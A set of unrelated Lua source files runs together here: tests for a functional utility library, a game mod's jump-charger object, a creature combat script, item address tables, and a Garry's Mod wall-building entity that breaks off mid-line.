whitespace', function() assert.is_same( { 'ab', '12', '4', '5', '3' }, cb.words('ab\n\n12 4 5\t\n3\n') ) end) test('unwords(as) should concatenate all of the strings in as, ' .. 'separated by a space', function() assert.equals( 'ab 12 4 5 3', cb.unwords({ 'ab', '12', '4', '5', '3' }) ) end) test('wrap(f, w) should return bind(w, f), so that ' .. 'wrap(f, w)(...) = w(f, ...)', function() local function f(x, y) return x + y*y end local function w(f, x, y) return 'The result is ' .. f(x, y) .. '!' end assert.equals('The result is 5!', cb.wrap(f, w)(1, 2)) end) test('uniq(a) should return an array containing all of a\'s unique ' .. 'values in the order that they appear', function() assert.is_same({1,2,3}, cb.uniq({1,1,2,3,2,2,3,1})) end) test('negate(p) should return a function q such that q(v) = not p(v)', function() local function p(b) return not b end assert.equals(not p(true), cb.negate(p)(true)) assert.equals(not p(false), cb.negate(p)(false)) end) test('bind(f, v) should return a function g(...) = f(v, ...)', function() local function f(a, b, c, d) return a - (b / (c - d)) end assert.equals(f(1, 2, 3, 4), cb.bind(f, 1)(2, 3, 4)) end) test('bindn(f, ...) should return a function g(...2) = f(v, ..., ...2)', function() local function f(a, b, c, d) return a - (b / (c - d)) end assert.equals(f(1, 2, 3, 4), cb.bindn(f, 1, 2, 3)(4)) end) test('result(m, o, ...) should return o:m(...)', function() assert.equals('cd', cb.result(string.sub, 'abcde', 3, 4)) end) test('defaults_(d, o) should, for each key k in d, if o[k] == nil then '.. 'set o[k] = d[k]', function() local d = { fruit = true, color = 'orange', flavor = 'sour' } local o = { flavor = 'sweet' } cb.defaults_(d, o) assert.is_same({ fruit = true, color = 'orange', flavor = 'sweet' }, o) end) test('defaults(d, o) should be like defaults_, except it returns a ' .. 'new table', function() local d = { fruit = true, color = 'orange', flavor = 'sour' } local o = { flavor = 'sweet' } assert.is_same( { fruit = true, color = 'orange', flavor = 'sweet' }, cb.defaults(d, o) ) assert.is_true(o.color == nil) end) test('trycatch(f, errors, ?finally) should follow the specification', function() -- Specification: -- trycatch(f, errors, ?finally): wrap f in a function such that, when it is -- called, if f returns nil for its first value, then the wrapper checks -- errors using the second value returned for a function. If it finds one, -- it calls it with the original arguments and returns its result. The -- optional finally function is called with the original arguments after -- either of these happens. local function f(t) if not cb.is_table(t) then return nil, cb.errors.not_table end return t end local function catch(t) return tostring(t) end local i = 0 local function finally(t) i = i + 1 end local g = cb.trycatch(f, { [cb.errors.not_table] = catch }, finally) assert.equals(a, g(a)) assert.equals(1, i) assert.equals('4', g(4)) assert.equals(2, i) end) test('is_same(t1, t2) should return true if t1 and t2 are ' .. '\'essentially\' equal, not including functions that return the ' .. 'same values.', function() local t1 = { 1, 'b', { 3, cb.id } } local t2 = { 1, 'b', { 3, cb.id } } assert.is_true(cb.is_same(t1, t2)) assert.is_not_true(cb.is_same(a, t1)) end) test('pluck should extract a list of property values', function() local t = { { name = 'Ferdinand', species = 'cattle' }, { name = 'Bugs', species = 'rabbit' }, { name = 'Brian', species = 'dog' }, } local vs = cb.pluck(t, 'name') assert.is_same({ 'Ferdinand', 'Bugs', 'Brian' }, vs) end) --[[ works, but takes almost a second and I'm impatient test('shuffle and shuffle_ should adequately shuffle arrays ' .. '(note: don\'t worry if this fails on occasion, it is partially ' .. 'random)', function() local function distance(a, b) -- distance between two arrays with the taxicab metric -- discards the rest of the longer array local total = 0 for i = 1, math.min(#a, #b) do total = math.abs(b[i] - a[i]) end return total end -- a = { 1,2,3,..., 100 } local a = cb.iterlist(cb.takei(100, cb.iterate(cb.inc, 1))) local b = cb.copy(a) local total1 = 0 local total2 = 0 for _ = 1, #a do total1 = total1 + distance(a, cb.shuffle(a))/(#a)^2 total2 = total2 + distance(a, cb.shuffle_(b))/(#a)^2 end -- are the arrays the same size after getting shuffled? assert.equals(#a, #cb.shuffle(a)) assert.equals(#a, #cb.shuffle_(b)) -- were they shuffled enough on average? assert.is_true(total1 > 0.3) assert.is_true(total2 > 0.3) end) --]] test('mergesort(a, comp = op.lt) should sort arrays nondestructively', function() -- a = { 1,2,3,..., 100 } local a = cb.iterlist(cb.takei(100, cb.iterate(cb.inc, 1))) local b = cb.shuffle(a) assert.is_same(a, cb.mergesort(b)) end) test('sortBy should return a stably sorted copy of a, ranked in ' .. 'ascending order by the results of running each value through f', function() local a = { 1, 2, 3, 4, 5, 6 } assert.is_same({ 5, 4, 6, 3, 1, 2 }, cb.sortBy(a, math.sin)) local t = { { name = 'Ferdinand', species = 'cattle' }, { name = 'Bugs', species = 'rabbit' }, { name = 'Brian', species = 'dog' }, } assert.is_same({ { name = 'Brian', species = 'dog' }, { name = 'Bugs', species = 'rabbit' }, { name = 'Ferdinand', species = 'cattle' }, }, cb.sortBy(t, 'name')) end) test('groupBy should group an array a under f', function() local a = { 1, 2, 3, 4, 5 } local f = cb.bind(cb.flip(cb.op.mod), 3) assert.is_same({ { 1, 4 }, { 2, 5 }, [0] = { 3 } }, cb.groupBy(a, f)) end) test('countBy should group an array a under f and give their length', function() local a = { 1, 2, 3, 4, 5 } local f = cb.bind(cb.flip(cb.op.mod), 3) assert.is_same({ 2, 2, [0] = 1 }, cb.countBy(a, f)) end) test('once(f) should return a function that only returns a value the ' .. 'first time it is called', function() local f = cb.once(cb.id) assert.equals('a', f('a')) assert.is_true(f('a') == nil) assert.is_true(f('a') == nil) end) test('after(f, n = 1): return a function that only returns a value ' .. 'after the first n times it is called', function() local f = cb.after(cb.id, 2) assert.is_true(f('a') == nil) assert.is_true(f('a') == nil) assert.equals('a', f('a')) end) test('before(f, n = 1): return a function that only returns a value ' .. 'before the first n times it is called', function() local f = cb.before(cb.id, 2) assert.equals('a', f('a')) assert.equals('a', f('a')) assert.is_true(f('a') == nil) end) test('compose(f, ...): return a function ' .. 'g(args) = f(f1(f2(..(fn(args))))) where { f1, f2, .., fn } = { ... }', function() local function f(x) return 2 * x end local function g(x) return 3 + x end local function h(x) return 1 / x end assert.equals(f(g(h(2))), cb.compose(f, g, h)(2)) end) test('iterate(f, x) should return an iterator that applies f to the ' .. 'previous value in an endless loop', function() local function f(x) return x + 1 end local it = cb.iterate(f, 1) for i = 1, 100 do assert.equals(i, it()) end end) test('replicate(n, x) should return an array containing x n times', function() assert.is_same({ 1, 1, 1, 1, 1 }, cb.replicate(5, 1)) end) test('cycle(a): return an iterator that cycles through an array a in ' .. 'an endless loop', function() local it = cb.cycle({ 1, 2, 3 }) assert.equals(1, it()) assert.equals(2, it()) assert.equals(3, it()) assert.equals(1, it()) end) test('takeWhilei(p, it) should be analagous to takeWhile, except takes ' .. 'an iterator and returns an iterator', function() local function f(x) return x + 1 end local function p(x) return x < 4 end local it = cb.takeWhilei(p, cb.iterate(f, 1)) assert.equals(1, it()) assert.equals(2, it()) assert.equals(3, it()) assert.is_true(it() == nil) assert.is_true(it() == nil) end) test('takeWhilei(p, it) should be analagous to takeWhile, except takes ' .. 'an iterator and returns an iterator', function() local function f(x) return x + 1 end local function p(x) return x < 4 end local it = cb.dropWhilei(p, cb.iterate(f, 1)) assert.is_true(it() == nil) assert.is_true(it() == nil) assert.is_true(it() == nil) assert.equals(4, it()) assert.equals(5, it()) assert.equals(6, it()) end) test('mapObject(f, o) should be like map but iterates over the ' .. 'non-integer keys of o', function() local o = { 'fungus', walrus = 'tooth', wolf = 'fang' } assert.is_same( { 'FUNGUS', walrus = 'TOOTH', wolf = 'FANG' }, cb.mapObject(string.upper, o) ) end) test('mapObject_(f, o) should be like map but destructively iterates ' .. 'over the non-integer keys of o', function() local o = { 'fungus', walrus = 'tooth', wolf = 'fang' } cb.mapObject_(string.upper, o) assert.is_same( { 'FUNGUS', walrus = 'TOOTH', wolf = 'FANG' }, o ) end) test('copy should return a deep copy of the object', function() local t2 = cb.copy(t) assert.is_same(t, t2) t2[2][1] = 'alfalfa' assert.is_not_same(t, t2) end) test('shallowcopy should return a shallow copy of the object', function() local t2 = cb.shallowcopy(t) assert.is_same(t, t2) assert.not_equals(t, t2) end) test('duplicate should return a copy of object without copying its ' .. 'prototype', function() local m = cb.object:clone('microbe') local a1 = m:clone('amoeba') local a2 = a1:duplicate() assert.is_same(a1, a2) assert.not_equals(a1, a2) assert.equals(a1._super, a2._super) end) test('new should return an instance of object as a prototype and ' .. 'initialize it', function() local o = cb.object:clone('fruit') local o2 = o:new() assert.equals(o._type, o2._type) assert.equals(o._super, o2._super) assert.not_equals(o, o2) end) test('clone should allow access to their prototype\'s fields', function() local o = cb.object.clone(t) assert.equals(o.sayHello, t.sayHello) end) test('clone should not be able to modify their prototype\'s fields', function() local o = cb.object.clone(t) o.sayHello = function() return 'bye' end assert.equals(t.sayHello(), 'hello') end) test('clone should modify the objects type if entered', function() local o1 = cb.object:clone() local o2 = cb.object:clone('waffle') assert.equals('object', o1._type) assert.equals('waffle', o2._type) end) test('clone should refer to the objects prototype', function() local o = cb.object:clone() assert.equals(cb.object, o._proto) end) test('isa should return true if t descends from o', function() local fruit = cb.object:clone('fruit') local apple = fruit:clone('apple') local macintosh = apple:clone('macintosh') local computer = cb.object:clone('computer') assert.is_true(macintosh:isa(fruit)) assert.is_not_true(macintosh:isa(computer)) assert.is_true(macintosh:isa(cb.object)) end) --[[ test('setmeta should set the metatable of object while preserving ' .. 'inheritance.', function() local book = cb.object:clone('book') function book:read() return cb.append(unpack(self.pages)) end function book:init(name, pages) self.name = name self.pages = pages cb.object.setmeta(self, { __index = function(t, k) return t.pages[k] end }) end local kafkaOnTheShore = book:new( 'Kafka on the Shore', { 'A boy runs away from home', 'he meets some people', 'some guy finds cats', 'things happen', 'the end' } ) assert.equals('A boy runs away from home', kafkaOnTheShore[1]) assert.equals('Kafka on the Shore', kafkaOnTheShore.name) assert.truthy(kafkaOnTheShore.clone) end) --]] test('keys(t) should return all of the non-integer keys of t', function() local o = { 8, pineapple = 'in shopping cart', thirsty = true } local o2 = { secret = 'don\'t look!' } setmetatable(o, { __index = o2 }) assert.is_true(cb.elem('pineapple', cb.keys(o))) assert.is_true(cb.elem('thirsty', cb.keys(o))) assert.is_not_true(cb.elem('secret', cb.keys(o))) assert.is_not_true(cb.elem('1', cb.keys(o))) assert.is_not_true(cb.elem(1, cb.keys(o))) end) test('allKeys(t) should return all of the non-integer keys of t and ' .. 'its prototypes', function() local o = { 8, pineapple = 'in shopping cart', thirsty = true } local o2 = { secret = 'don\'t look!' } setmetatable(o, { __index = o2 }) o._proto = o2 assert.is_true(cb.elem('pineapple', cb.allKeys(o))) assert.is_true(cb.elem('thirsty', cb.allKeys(o))) assert.is_true(cb.elem('secret', cb.allKeys(o))) assert.is_not_true(cb.elem('1', cb.allKeys(o))) assert.is_not_true(cb.elem(1, cb.allKeys(o))) end) test('setKeys_(o, t) should set o[k] to t[k] for each k in keys(t)', function() local o = { protoplasm = 'a lot' } cb.setKeys_(o, { 8, protoplasm = 'just a little', emotion = 'melancholy' }) assert.equals('just a little', o.protoplasm) assert.equals('melancholy', o.emotion) assert.is_true(o[1] == nil) end) test('values(t) should return the values of all of the non-integer ' .. 'keys of t', function() local o = { 8, protoplasm = 'just a little', emotion = 'melancholy' } local o2 = { secret = 'don\'t look!' } setmetatable(o, { __index = o2 }) o._proto = o2 local vs = cb.values(o) assert.is_true(cb.elem('just a little', vs)) assert.is_true(cb.elem('melancholy', vs)) assert.is_not_true(cb.elem('don\'t look!', vs)) assert.is_not_true(cb.elem(8, vs)) end) test('allValues(t) should return the values of all of the non-integer ' .. 'keys of t and its prototypes', function() local o = { 8, protoplasm = 'just a little', emotion = 'melancholy' } local o2 = { secret = 'don\'t look!' } setmetatable(o, { __index = o2 }) o._proto = o2 local vs = cb.allValues(o) assert.is_true(cb.elem('just a little', vs)) assert.is_true(cb.elem('melancholy', vs)) assert.is_true(cb.elem('don\'t look!', vs)) assert.is_not_true(cb.elem(8, vs)) end) test('objects should act as expected', function() local fruit = cb.object:clone('fruit') function fruit:init(name, color) self.name = name self.color = color end function fruit:talk() return 'I am a ' .. self.name .. ' and I am ' .. self.color end local tomato = fruit:new('tomato', 'red') assert.is_equal('I am a tomato and I am red', tomato:talk()) local squash = fruit:clone('squash') function squash:init(name, color, shape) self._proto:init(name, color) self.shape = shape end function squash:talk() return 'I am a ' .. self.shape .. ' ' .. self.name .. ' and I am ' .. self.color end local pumpkin = squash:new('pumpkin', 'orange', 'round') assert.is_equal('round', pumpkin.shape) assert.is_equal('I am a round pumpkin and I am orange', pumpkin:talk()) assert.is_true(pumpkin:isa(fruit)) assert.is_not_true(pumpkin:isa(tomato)) -- tomato isn't a prototype of pumpkin end) test('tables returned by immut should be immutable', function() local nt = cb.immut(t) nt[1] = 5 nt[2][1] = 'banana' assert.equals(t[1], 1) assert.equals(nt[1], 1) assert.equals(t[2][1], 'apple') assert.equals(nt[2][1], 'apple') end) test('is_immut should return true if the table was returned by immut ' .. 'and false otherwise', function() local nt = cb.immut(t) assert.is_true(cb.is_immut(nt)) assert.is_not_true(cb.is_immut(t)) end) test('from_immut(t) should return a mutable version of t', function() local t = { 1, 2, figs = 'good' } local nt = cb.immut(t) nt = cb.from_immut(nt) nt.figs = 'bad' assert.equals('bad', t.figs) assert.equals('bad', nt.figs) end) test('is_table should return true iff it is a table', function() assert.is_true(cb.is_table(t)) assert.is_not_true() end) end)
-- JUMP CHARGER OBJECT -- -- Create the Jump Charger base Object -- JC = { ent = nil, player = "", MF = nil, entID = 0, lightID = 0, updateTick = 240, lastUpdate = 0 } -- Constructor -- function JC:new(object) if object == nil then return end local t = {} local mt = {} setmetatable(t, mt) mt.__index = JC t.ent = object if object.last_user == nil then return end t.player = object.last_user.name t.MF = getMFBySurface(object.surface) t.entID = object.unit_number -- Save the Jump Charger inside the Jump Drive Table -- t.MF.jumpDriveObj.jumpChargerTable[object.unit_number] = t UpSys.addObj(t) return t end -- Reconstructor -- function JC:rebuild(object) if object == nil then return end local mt = {} mt.__index = JC setmetatable(object, mt) end -- Destructor -- function JC:remove() -- Destroy the Light -- rendering.destroy(self.lightID) -- Remove from the Jump Drive Table -- self.MF.jumpDriveObj.jumpChargerTable[self.ent.unit_number] = nil -- Remove from the Update System -- UpSys.removeObj(self) end -- Is valid -- function JC:valid() if self.ent ~= nil and self.ent.valid then return true end return false end -- Update -- function JC:update() -- Set the lastUpdate variable -- self.lastUpdate = game.tick -- Check the Validity -- if self.ent == nil or self.ent.valid == false then return end end -- Tooltip Infos -- function JC:getTooltipInfos(GUITable, mainFrame, justCreated) if justCreated == true then -- Set the GUI Title -- GUITable.vars.GUITitle.caption = {"gui-description.JDTitle"} -- Create the Information Frame -- local infoFrame = GAPI.addFrame(GUITable, "InformationFrame", mainFrame, "vertical", true) infoFrame.style = "MFFrame1" infoFrame.style.vertically_stretchable = true infoFrame.style.minimal_width = 200 infoFrame.style.left_margin = 3 infoFrame.style.left_padding = 3 infoFrame.style.right_padding = 3 -- Create the Tite -- GAPI.addSubtitle(GUITable, "", infoFrame, {"gui-description.Information"}) -- Add the Capacity added -- GAPI.addLabel(GUITable, "", infoFrame, {"gui-description.JCCapacityAdded", _chargeAddedPerJumpCharger}, _mfOrange) -- Add the Charge Rate added -- GAPI.addLabel(GUITable, "", infoFrame, {"gui-description.JCChargeRateAdded", _chargeRateAddedPerJumpCharger}, _mfOrange) end end
function CMyrmidon_OnEnterCombat(Unit,Event) Unit:RegisterEvent("CMyrmidon_Spell", 120000, 0) end function CMyrmidon_Spell(Unit,Event) Unit:FullCastSpellOnTarget(38027,Unit:GetClosestPlayer()) end function CMyrmidon_OnLeaveCombat(Unit,Event) Unit:RemoveEvents() end function CMyrmidon_OnDied(Unit,Event) Unit:RemoveEvents() end RegisterUnitEvent(19765, 1, "CMyrmidon_OnEnterCombat") RegisterUnitEvent(19765, 2, "CMyrmidon_OnLeaveCombat") RegisterUnitEvent(19765, 4, "CMyrmidon_OnDied")
SEA_HARE_TAIL = { addr = ITEMS_BASE_ADDR + 0x29, checks = { [0x00] = "tail", } } GOLD_KEY = { addr = ITEMS_BASE_ADDR + 0x37, checks = { [0x00] = "key", } } MIDGE_MALLET = { addr = ITEMS_BASE_ADDR + 0x5C, checks = { [0x00] = "mallet", } } MOOGLE_BELT = { addr = ITEMS_BASE_ADDR + 0x74, checks = { [0x00] = "belt", } }
---------------------------------------- -- Sassilization -- http://sassilization.com -- By Sassafrass / Spacetech ---------------------------------------- local mt = {} local WALL = {} mt.__index = WALL mt.__tostring = function( self ) return "Wall"; end net.Receive( "wall.SetWallTowers", function( len ) wall = net.ReadEntity() wall.entTower1 = net.ReadEntity() wall.entTower2 = net.ReadEntity() end ) function ENT:CreateWall( positions ) if( self.Walls ) then return end if( CLIENT ) then self.positions = positions else self.positions = positions end self.Walls = {} self.WallCount = #self.positions local dy = self.positions[ 1 ].y - self.positions[ self.WallCount ].y local dx = self.positions[ 1 ].x - self.positions[ self.WallCount ].x local ang = Angle( 0, math.deg( math.atan2( dy, dx ) ) + 90, 0 ) local segPrev timer.Simple(0.1, function() --Doing this timer so the net call to update the first/last tower are actually set before doing anything. // Hateful for i, pos in ipairs( self.positions ) do if !self.entTower2 or !self.entTower1 then return end local seg = self:CreateWallSegment( i, pos, ang ) self.Walls[ i ] = seg if( segPrev ) then segPrev:SetNext( seg ) seg:SetPrev( segPrev ) self.lastWall = seg self.lastTower = self.entTower1 if pos:Distance(self.entTower2:GetPos()) < pos:Distance(self.entTower1:GetPos()) then self.lastTower = self.entTower2 end if i == (#self.positions) then seg.lastTower = self.lastTower end else self.firstWall = seg self.firstTower = self.entTower1 if pos:Distance(self.entTower2:GetPos()) < pos:Distance(self.entTower1:GetPos()) then self.firstTower = self.entTower2 end seg.firstTower = self.firstTower end if( CLIENT ) then seg:SetupNormal() end segPrev = seg end if( CLIENT ) then self:UpdateRenderBounds() end end ) end function ENT:CreateWallSegment( index, vecPos, vecAng ) local seg = {} setmetatable( seg, mt ) seg.index = index seg:Init( self, vecPos, vecAng ) return seg end AccessorFunc( WALL, "n_Health", "Health", FORCE_NUMBER ) AccessorFunc( WALL, "a_Ang", "Angles" ) AccessorFunc( WALL, "v_Pos", "Pos" ) AccessorFunc( WALL, "wall_Next", "Next" ) AccessorFunc( WALL, "wall_Prev", "Prev" ) AccessorFunc( WALL, "e_Parent", "Parent" ) function WALL:Init( parent, pos, ang ) if( CLIENT ) then self.Model = ClientsideModel( building.GetBuildingKey( "wall", "Model" ) ) self.Model:SetNoDraw( true ) self.NoDraw = false self.Color = parent:GetColor() self:SetColor( self.Color ) end self:SetPos( pos ) self:SetParent( parent ) self:SetAngles( ang ) self:SetHealth( building.GetBuildingKey( "wall", "Health" ) ) timer.Simple(1, function() self:UpdateModel() end) end if SERVER then util.AddNetworkString( "SetWallPlummeted" ) function WALL:Plummet() if self.Plummeted then return end self.Plummeted = true for k,v in pairs(player.GetAll()) do net.Start("SetWallPlummeted") net.WriteEntity(self:GetParent()) net.WriteInt(self.index, 8) net.WriteBit(true) net.Send(v) end if self.gate and self.gate:IsValid() then self.gate.Plummeted = true end if self:GetParent():IsValid() then timer.Simple(0.5, function() if self:GetNext() then if !self:GetNext():IsDestroyed() then self:GetNext():Plummet() end end if self:GetPrev() then if !self:GetPrev():IsDestroyed() then self:GetPrev():Plummet() end end if self:GetParent().lastWall == self or self:GetParent().firstWall == self then if self:GetParent().lastWall == self and self:GetParent().lastTower and self:GetParent().lastTower:IsValid() then self:GetParent().lastTower:Plummet() end if self:GetParent().firstWall == self and self:GetParent().firstTower and self:GetParent().firstTower:IsValid() then self:GetParent().firstTower:Plummet() end end end) timer.Simple(1, function() if self.gate and self.gate:IsValid() then for i,d in pairs(self.gate.HiddenWalls) do if !d:IsDestroyed() then self:GetParent():DestroyWallSegment( d ) end d:Plummet() end self.gate:Destroy( building.BUILDING_DESTROY ) end if !self:IsDestroyed() then self:Destroy( building.BUILDING_DESTROY ) end end) end end end function WALL:GetIndex() return self.index end if( CLIENT ) then function WALL:SetupNormal() local startpos = self:GetPrev() and self:GetPrev():GetPos() or self:GetPos() local endpos = self:GetNext() and self:GetNext():GetPos() or self:GetPos() self.v_Normal = (endpos - startpos):Angle():Up() end function WALL:GetNormal() return self.v_Normal end function WALL:SetPos( pos ) self.v_Pos = pos self.Model:SetPos( pos ) end function WALL:GetPos() return self.v_Pos end function WALL:SetAngles( ang ) self.Model:SetAngles( ang ) end function WALL:GetAngles() return self.Model:GetAngles() end function WALL:SetParent( p ) self.Model:SetParent( p ) end function WALL:SetColor( c ) self.Color.r = c.r self.Color.g = c.g self.Color.b = c.b self.Color.a = c.a self.Model:SetColor( c ) end function WALL:GetColor() return self.Color end end function WALL:IsDestroyed() return self.Destroyed end local wallHalfWidth = SA.WallWidth * 0.5 local wallHalfLength = SA.WallSpacing * 0.5 local wallHeight = SA.WallHeight function WALL:GetRandomPosInOBB() return self:GetParent():WorldToLocal( self:GetPos() ) + Vector( math.Rand( -wallHalfWidth, wallHalfWidth ), math.Rand( -wallHalfLength, wallHalfLength ), math.Rand( 0, wallHeight ) ) end function WALL:LocalToWorld(vPos) local vWorldPos = Vector( vPos.x, vPos.y, vPos.z ) vWorldPos:Rotate(self:GetAngles()) vWorldPos = vWorldPos + self:GetPos() return vWorldPos end function WALL:WorldToLocal(vWorldPos) local aRot = self:GetAngles() local vWorldPos=vWorldPos-self:GetPos() vWorldPos:Rotate(Angle(0,-aRot.y,0)) vWorldPos:Rotate(Angle(-aRot.p,0,0)) vWorldPos:Rotate(Angle(0,0,-aRot.r)) return Vector( vWorldPos.x,-vWorldPos.y,vWorldPos.z ) end if( SERVER ) then function WALL:Damage( dmginfo ) self:SetHealth( self:GetHealth() - dmginfo.damage ) Msg( "Wall damaged ", self:GetHealth(), "\n" ) if( self:GetHealth() <= 0 ) then self:Destroy( building.BUILDING_DESTROY, dmginfo.attacker:GetEmpire() ) end end end local destroyedWallSegmentModels = { "models/props_debris/concrete_debris128Pile001a.mdl", "models/props_debris/concrete_debris128Pile001b.mdl" } function WALL:Destroy(Info, AttackingEmpire) if( self.Destroyed ) then return end self.Destroyed = true if( CLIENT ) then if( Info == building.BUILDING_SELL ) then local Effect = EffectData() CL_DISSOLVE_ENT = self.Model Effect:SetEntity(self:GetParent()) util.Effect("dissolve", Effect, true, true) self.NoDraw = true elseif( Info == building.BUILDING_DESTROY ) then if !self.Plummeted then local Effect = EffectData() Effect:SetOrigin(self:GetPos() + self:GetNormal() * 6) Effect:SetRadius(self.Model:OBBMaxs().z * 0.5) Effect:SetScale(10) Effect:SetMagnitude(GIB_STONE) util.Effect("gib_structure", Effect, true, true) end self.Model:SetModel( table.Random( destroyedWallSegmentModels ) ) self.Model:SetModelScale( 0.085, 0 ) self.Model:SetColor( color_white ) self.Model:SetPos( self:GetPos() + self:GetNormal() ) local ang = self:GetNormal():Angle() ang.p = ang.p + 90 self.Model:SetAngles( ang ) end elseif( SERVER ) then if self:GetParent():IsValid() then self:GetParent():DestroyWallSegment( self ) if self:GetParent().DestroyGold then if( self:GetParent():GetEmpire() ) then self:GetParent():GetEmpire():AddGold(-self:GetParent().DestroyGold) end if( ValidEmpire(AttackingEmpire) ) then AttackingEmpire:AddGold(self:GetParent().DestroyGold) AttackingEmpire:AddGold(self:GetParent().DestroyBonus or 8) end end end end end function WALL:UpdateModel() if( not IsValid( self.Model ) ) then return end if( self:IsDestroyed() ) then return end if self:GetNext() == nil then nextSegDestroyed = true if self.lastTower and self.lastTower:IsValid() and !self.lastTower.Destroyed then nextSegDestroyed = nil end else nextSegDestroyed = self:GetNext() and self:GetNext():IsDestroyed() end if self:GetPrev() == nil then prevSegDestroyed = true if self.firstTower and self.firstTower:IsValid() and !self.firstTower.Destroyed then prevSegDestroyed = nil end else prevSegDestroyed = self:GetPrev() and self:GetPrev():IsDestroyed() end if( nextSegDestroyed and prevSegDestroyed ) then self.Model:SetModel( "models/mrgiggles/sassilization/wall_destroyed02.mdl" ) elseif( nextSegDestroyed ) then self.Model:SetModel( "models/mrgiggles/sassilization/wall_destroyed01.mdl" ) elseif( prevSegDestroyed ) then self.Model:SetModel( "models/mrgiggles/sassilization/wall_destroyed01.mdl" ) local ang = self.Model:GetAngles() ang.y = ang.y + 180 self.Model:SetAngles(ang) end end function WALL:LocalToWorld(vPos) local vWorldPos = Vector( vPos.x, vPos.y, vPos.z ) vWorldPos:Rotate(self:GetAngles()) vWorldPos = vWorldPos + self:GetPos() return vWorldPos end function WALL:WorldToLocal(vWorldPos) local aRot = self:GetAngles() local vWorldPos=vWorldPos-self:GetPos() vWorldPos:Rotate(Angle(0,-aRot.y,0)) vWorldPos:Rotate(Angle(-aRot.p,0,0)) vWorldPos:Rotate(Angle(0,0,-aRot.r)) return Vector( vWorldPos.x,-vWorldPos.y,vWorldPos.z ) end --WALL SHAPE local verts = {} local width, height = 4, 5 table.insert( verts, VECTOR_RIGHT * width ) table.insert( verts, VECTOR_RIGHT * width * 0.9 + VECTOR_UP * height ) table.insert( verts, VECTOR_RIGHT * width * 0.7 + VECTOR_UP * height ) table.insert( verts, VECTOR_RIGHT * width * 0.6 + VECTOR_UP * height * 3 ) table.insert( verts, VECTOR_RIGHT * width * 0.4 + VECTOR_UP * height * 3 ) table.insert( verts, VECTOR_RIGHT * width * 0.4 + VECTOR_UP * height * 2.8 ) table.insert( verts, -VECTOR_RIGHT * width * 0.4 + VECTOR_UP * height * 2.8 ) table.insert( verts, -VECTOR_RIGHT * width * 0.4 + VECTOR_UP * height * 3 ) table.insert( verts, -VECTOR_RIGHT * width * 0.6 + VECTOR_UP * height * 3 ) table.insert( verts, -VECTOR_RIGHT * width * 0.7 + VECTOR_UP * height ) table.insert( verts, -VECTOR_RIGHT * width * 0.9 + VECTOR_UP * height ) table.insert( verts, -VECTOR_RIGHT * width ) --END WALL SHAPE local function addPoint( strip, i, pos, norm, tang, v ) local scale = 20 local u = pos:Dot( tang ) strip[ i ] = Vertex( pos, u / scale, v, norm ) end function WALL:AddStrip( Positions, v, v1, v2 ) local strip = {} local j = 1; local norm, tang; for i = 1, #Positions do local pos = self:WorldToLocal( Positions[ i ] ) tang = (verts[ v+1 ] - verts[ v ]):GetNormal() norm = -VECTOR_FORWARD:Cross( tang ) tang = VECTOR_FORWARD addPoint( strip, j, pos + verts[ v+1 ], norm, tang, v2 ) j = j + 1; addPoint( strip, j, pos + verts[ v ], norm, tang, v1 ) j = j + 1; end table.insert( self.TriangleStrips, strip ) end function WALL:CreateWallMesh( Positions ) self.TriangleStrips = self.TriangleStrips or {} local num = #Positions self.StripCount = num --Get rid of extra baggage (Instead of creating a new table, we're going to reuse the old one) if( num < #self.TriangleStrips ) then for i=num + 1, #self.TriangleStrips do self.TriangleStrips[ i ] = nil end end --Wall Direction Normal local pos1 = Positions[ 1 ] local pos2 = Positions[ num ] self:SetPos( pos1:MidPoint( pos2 ) ) self:SetAngles( Angle( 0, math.atan2( (pos2.y - pos1.y), (pos2.x - pos1.x) ) * 180 / math.pi, 0 ) ) --Build Strips --There's a stupid bug with meshes where the depth test fails. Any surface that's infront of another surface must be drawn first or --it will show through the other surface self:AddStrip( Positions, 10, 0.6640625, 0.6210937 ) --Metal sidebar self:AddStrip( Positions, 02, 0.6640625, 0.6210937 ) --Metal sidebar self:AddStrip( Positions, 06, 0.1562500, 0.0000000 ) --Top walkway self:AddStrip( Positions, 03, 0.5468750, 0.1640625 ) self:AddStrip( Positions, 04, 0.2109375, 0.1640625 ) self:AddStrip( Positions, 05, 0.2617187, 0.2109375 ) self:AddStrip( Positions, 07, 0.2617187, 0.2109375 ) self:AddStrip( Positions, 08, 0.2109375, 0.1640625 ) self:AddStrip( Positions, 09, 0.5468750, 0.1640625 ) self:AddStrip( Positions, 11, 1.0000000, 0.6210937 ) self:AddStrip( Positions, 01, 1.0000000, 0.6210937 ) end function WALL:GetMeshOBB() local min = Vector(999999, 999999, 999999) local max = Vector(0) for i, strip in ipairs( self.TriangleStrips ) do for j, vert in ipairs( strip ) do min.x = math.min( vert.pos.x, min.x ) min.y = math.min( vert.pos.y, min.y ) min.z = math.min( vert.pos.z, min.z ) max.x = math.max( vert.pos.x, max.x ) max.y = math.max( vert.pos.y, max.y ) max.z = math.max( vert.pos.z, max.z ) end end return min, max end if( CLIENT ) then WALL.WallMaterial = Material( "sassilization/wall" ) end function WALL:Compile() local mesh = Mesh() local tblTriangles = {} local iTriCount = (#self.positions - 1) * 2 for _, tblStrip in ipairs( self.TriangleStrips ) do for i = 1, iTriCount do local iIdx0 = 1 + math.floor(i / 2) * 2 local iIdx1 = math.ceil( i / 2) * 2 local iIdx2 = 2 + i --if _ == 3 then -- MsgN(iIdx0, iIdx1, iIdx2) --end tblTriangles[#tblTriangles + 1] = tblStrip[iIdx0] tblTriangles[#tblTriangles + 1] = tblStrip[iIdx1] tblTriangles[#tblTriangles + 1] = tblStrip[iIdx2] end end --MsgN("TriCount: ", #tblTriangles, " : ", #tblTriangles / 3, "\n") mesh:BuildFromTriangles(tblTriangles) return mesh end function WALL:Draw() if( self.TriangleStrips ) then local matrix = Matrix() local r, g, b, a = self:GetColor() matrix:SetTranslation(self:GetPos()) matrix:Rotate(self:GetAngles()) render.SetMaterial( self.WallMaterial ); -- local sun = util.GetSunInfo() -- if( not sun ) then return end cam.PushModelMatrix(matrix) for i, strip in ipairs( self.TriangleStrips ) do mesh.Begin( MATERIAL_TRIANGLE_STRIP, (self.StripCount - 1) * 2) for j, vert in ipairs( strip ) do -- local lightc = render.GetLightColor( self:LocalToWorld(vert.pos) + VECTOR_UP * 6 ) * 1.7 -- lightc = lightc * ((self:LocalToWorld(vert.normal) - self:GetPos()):Dot( sun.direction ) * 0.15 + 0.65) -- mesh.Color( math.Clamp( lightc.x * r, 0, 255 ), math.Clamp( lightc.y * g, 0, 255 ), math.Clamp( lightc.z * b, 0, 255 ), 255 ) mesh.Position( 